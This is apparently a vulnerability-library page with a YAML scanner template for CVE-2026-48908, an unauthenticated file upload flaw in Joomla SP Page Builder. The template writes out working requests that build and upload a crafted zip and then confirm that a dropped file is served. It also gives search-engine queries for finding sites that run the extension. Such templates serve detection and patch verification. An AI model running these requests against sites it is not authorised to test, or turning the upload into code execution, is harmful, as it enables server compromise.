/Vulnerability Library

Joomla SP Page Builder <= 6.6.1 - Unauthenticated Arbitrary File Upload RCE

CVE-2026-48908
Verified

Description

SP Page Builder for Joomla contains an unrestricted file upload vulnerability allowing unauthenticated users to upload and execute arbitrary PHP code, exploit requires no authentication.

Severity

Critical

CVSS Score

9.8

Exploit Probability

88%

Affected Product

sp_page_builder

Published Date

July 23, 2026

Template Author

0x_akoko

CVE-2026-48908.yaml
id: CVE-2026-48908

info:
  name: Joomla SP Page Builder <= 6.6.1 - Unauthenticated Arbitrary File Upload RCE
  author: 0x_Akoko
  severity: critical
  description: |
   SP Page Builder for Joomla contains an unrestricted file upload vulnerability allowing unauthenticated users to upload and execute arbitrary PHP code, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary PHP code, leading to full server compromise.
  remediation: |
    Update to the latest version of SP Page Builder for Joomla.
  reference:
    - https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/
    - https://github.com/papageo75/CVE-2026-48908-PoC
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48908
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-48908
    epss-score: 0.8813
    epss-percentile: 0.9975
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 3
    vendor: joomshaper
    product: sp_page_builder
    framework: joomla
    shodan-query: http.html:"com_sppagebuilder"
    fofa-query: body="com_sppagebuilder"
  tags: cve,cve2026,joomla,sppagebuilder,rce,file-upload,intrusive,kev,vkev

flow: |
  // build the icon-package zip at runtime with a random verify filename + content
  function crc32(b){var c,crc=0^(-1);for(var i=0;i<b.length;i++){c=(crc^b[i])&0xFF;for(var k=0;k<8;k++){c=(c&1)?(0xEDB88320^(c>>>1)):(c>>>1);}crc=(crc>>>8)^c;}return (crc^(-1))>>>0;}
  function sb(s){var a=[];for(var i=0;i<s.length;i++){a.push(s.charCodeAt(i)&0xFF);}return a;}
  function u16(n){return [n&0xFF,(n>>>8)&0xFF];}
  function u32(n){return [n&0xFF,(n>>>8)&0xFF,(n>>>16)&0xFF,(n>>>24)&0xFF];}
  function pp(d,a){for(var i=0;i<a.length;i++){d.push(a[i]);}}
  function b64(b){var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",r="",i;for(i=0;i<b.length;i+=3){var x=b[i],y=(i+1<b.length)?b[i+1]:0,z=(i+2<b.length)?b[i+2]:0;r+=t.charAt(x>>>2);r+=t.charAt(((x&3)<<4)|(y>>>4));r+=(i+1<b.length)?t.charAt(((y&15)<<2)|(z>>>6)):"=";r+=(i+2<b.length)?t.charAt(z&63):"=";}return r;}
  function rtok(n){var c="abcdefghijklmnopqrstuvwxyz0123456789",s="";for(var i=0;i<n;i++){s+=c.charAt(Math.floor(Math.random()*c.length));}return s;}
  function buildZip(files){var out=[],cd=[],off=0,dt=0x0000,dd=0x0021;for(var i=0;i<files.length;i++){var f=files[i],nb=sb(f.name),crc=crc32(f.data),sz=f.data.length,nl=nb.length;var lh=[];pp(lh,[0x50,0x4B,0x03,0x04]);pp(lh,u16(20));pp(lh,u16(0));pp(lh,u16(0));pp(lh,u16(dt));pp(lh,u16(dd));pp(lh,u32(crc));pp(lh,u32(sz));pp(lh,u32(sz));pp(lh,u16(nl));pp(lh,u16(0));pp(lh,nb);pp(out,lh);pp(out,f.data);var ce=[];pp(ce,[0x50,0x4B,0x01,0x02]);pp(ce,u16(20));pp(ce,u16(20));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u16(dt));pp(ce,u16(dd));pp(ce,u32(crc));pp(ce,u32(sz));pp(ce,u32(sz));pp(ce,u16(nl));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u32(0));pp(ce,u32(off));pp(ce,nb);pp(cd,ce);off+=lh.length+sz;}var cds=out.length;pp(out,cd);var cz=cd.length;var e=[];pp(e,[0x50,0x4B,0x05,0x06]);pp(e,u16(0));pp(e,u16(0));pp(e,u16(files.length));pp(e,u16(files.length));pp(e,u32(cz));pp(e,u32(cds));pp(e,u16(0));pp(out,e);return out;}

  var vtoken = rtok(16);
  var files = [
    {name:"selection.json", data:sb('{"IcoMoonType": "selection", "icons": [], "metadata": {"name": "iconpkg"}, "preferences": {"fontPref": {"prefix": "ico-", "metadata": {"fontFamily": "iconpkg"}}}}')},
    {name:"style.css", data:sb(".ico-x:before{content:'x';}")},
    {name:"fonts/iconpkg.ttf", data:sb("FONT")},
    {name:"fonts/"+vtoken+".txt", data:sb(vtoken)}
  ];
  set("vtoken", vtoken);
  set("zipdata", b64(buildZip(files)));

  http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "com_sppagebuilder")'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----FormBoundaryCK

        ------FormBoundaryCK
        Content-Disposition: form-data; name="custom_icon"; filename="iconpkg.zip"
        Content-Type: application/zip

        {{base64_decode(zipdata)}}
        ------FormBoundaryCK--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "status", "output")'
          - '!contains(body, "require admin")'
        condition: and
        internal: true

  - raw:
      - |
        GET /media/com_sppagebuilder/assets/iconfont/iconpkg/fonts/{{vtoken}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{vtoken}}")'
        condition: and
# digest: 490a0046304402205d3d3a81bf9a54f71f90aefe75e8bf4b35b71bb97dc4a45fc30ccb79d8c74b75022038be8c8a38fe71279ce282e48ea73683d0049166775b6beb9879da634609ffdd:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-48908
CWE ID:
cwe-284

References

https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/https://github.com/papageo75/CVE-2026-48908-PoChttps://nvd.nist.gov/vuln/detail/CVE-2026-48908https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Remediation Steps

Update to the latest version of SP Page Builder for Joomla.